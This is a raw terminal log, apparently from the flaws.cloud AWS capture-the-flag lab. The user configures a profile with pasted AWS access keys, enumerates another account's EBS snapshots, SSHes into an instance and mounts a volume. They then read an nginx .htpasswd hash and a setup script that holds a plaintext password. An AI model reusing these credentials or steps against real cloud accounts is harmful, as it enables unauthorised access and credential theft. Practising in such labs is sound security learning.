% aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
% aws configure --profile liv-test
AWS Access Key ID [None]: AKIAUFZUUPCWBRVSKK5L
AWS Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:
% aws configure list --profile liv-test
Name Value Type Location
---- ----- ---- --------
profile liv-test manual --profile
access_key ****************KK5L shared-credentials-file
secret_key ****************ROyo shared-credentials-file
region <not set> None None
% aws --profile level3 ec2 describe-snapshots --owner-id 975426262029
You must specify a region. You can also configure your region by running "aws configure".
% mv ~/Downloads/hnl.pem .
% chmod 600 hnl.pem
% ssh -i hnl.pem ubuntu@34.211.97.131
The authenticity of host '34.211.97.131 (34.211.97.131)' can't be established.
ECDSA key fingerprint is SHA256:pETgClWtWrlnIsvDIJxzbDKkGXClHY7FCjaXjJN084A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '34.211.97.131' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1045-aws x86_64)
ubuntu@ip-172-31-60-33:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 33.3M 1 loop /snap/amazon-ssm-agent/3552
loop1 7:1 0 55.5M 1 loop /snap/core18/1997
loop2 7:2 0 70.4M 1 loop /snap/lxd/19647
loop3 7:3 0 32.3M 1 loop /snap/snapd/11588
xvda 202:0 0 8G 0 disk
└─xvda1 202:1 0 8G 0 part /
xvdf 202:80 0 8G 0 disk
└─xvdf1 202:81 0 8G 0 part
ubuntu@ip-172-31-60-33:~$ sudo -i
root@ip-172-31-60-33:~# sudo mkdir /mnt/flaws
root@ip-172-31-60-33:~# sudo mount /dev/xvdf1 /mnt/flaws
oot@ip-172-31-60-33:~# cd /mnt/flaws
root@ip-172-31-60-33:/mnt/flaws# ls
bin dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old
boot etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuz
root@ip-172-31-60-33:/mnt/flaws# cat etc/nginx/.htpasswd
flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0
root@ip-172-31-60-33:/mnt/flaws# cd home/ubuntu/
root@ip-172-31-60-33:/mnt/flaws/home/ubuntu# ls
meta-data setupNginx.sh
root@ip-172-31-60-33:/mnt/flaws/home/ubuntu# cat setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M